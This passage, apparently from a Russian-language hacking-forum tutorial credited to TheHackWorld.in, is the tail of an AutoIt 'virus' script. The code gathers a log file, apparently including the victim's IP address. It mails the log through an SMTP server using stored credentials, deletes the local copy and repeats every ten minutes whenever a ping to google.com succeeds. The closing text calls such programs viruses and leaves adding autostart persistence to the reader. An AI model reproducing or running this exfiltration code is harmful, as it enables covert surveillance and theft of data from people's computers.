$s_smtpserver if number($ipport) = 0 then $ipport = 25 $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $ipport if $s_username <> "" then $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_username $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_password endif if $ssl then $objemail.configuration.fields.item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = true endif $objemail.configuration.fields.update switch $s_importance case "high" $objemail.fields.item ("urn:schemas:mailheader:importance") = "high" case "normal" $objemail.fields.item ("urn:schemas:mailheader:importance") = "normal" case "low" $objemail.fields.item ("urn:schemas:mailheader:importance") = "low" endswitch $objemail.fields.update $objemail.send if @error then seterror(2) return endif $objemail="" endfunc Func _quit() FileOpen($log, 1) FileWrite($log, "</body>") FileWrite($log, "<b><center><font color=red >© Sw@p Specially for <a href=http://thehackworld.in target=blanck >TheHackWorld.iN</a> </font></center>") FileClose($log) sleep(500) $stext=FileRead(FileOpen($log, 0)); читаем файл лога в переменную которая является телом отправляемого письма sleep(1000) _inetsmtpmailcom($smtpserver,$fromname,$fromaddress,$toaddress,$subject,$stext,$attachfiles,$ccaddress,$bccaddress,$importance,$username,$password,$ipport,$ssl) ; запускаем функцию отправки письма,тем самым отправляем письмо с логом sleep(100) FileDelete($log) ; удаляем файл лога и повторяем весь алгоритм скрипта. EndFunc While $i <= 1 $var = Ping("www.google.com",250) If @error = 0 Then sleep(10) _quit() EndIf sleep(1000*60*10); промежуток времени через который будет осуществляться повторная отправка IP адреса. WEnd Пропись в автозагрузку нужно дописать,в этом тоже ни чего сложного нету. Существует ещё уйма способов написание подобных как бы вирусов,ну я думаю мы пока что остановимся на этом. ©SwAp TheHackWorld.in